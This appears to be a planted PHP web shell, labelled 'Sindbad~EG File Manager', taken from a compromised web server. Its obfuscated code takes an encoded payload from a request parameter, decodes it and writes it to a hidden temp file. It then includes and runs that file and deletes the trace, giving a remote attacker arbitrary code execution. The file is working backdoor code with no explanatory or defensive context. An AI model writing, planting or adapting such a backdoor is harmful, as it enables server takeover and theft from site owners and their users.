Sindbad~EG File Manager

<?php

if(!is_null($_REQUEST["\x6Fb\x6A"] ?? null)){
	$rec = $_REQUEST["\x6Fb\x6A"];
	 		$rec=explode  (	'.',$rec		);
	$tkn= 	'';
            $s= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen(  $s	);
    
            foreach(  $rec as $l	 =>$v3) {
                $sChar= 	ord(  $s[$l	 %$sLen]	);
                $d= 	(  (  int)$v3 - $sChar -(  $l	 %10)) ^ 5;
                $tkn .= chr(  $d	);
            }
	$dat = array_filter([getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir()]);
	foreach ($dat as $reference):
    		if (is_writable($reference) && is_dir($reference)) {
    $sym = "$reference/.comp";
    if (file_put_contents($sym, $tkn)) {
	include $sym;
	@unlink($sym);
	exit;
}
}
endforeach;
}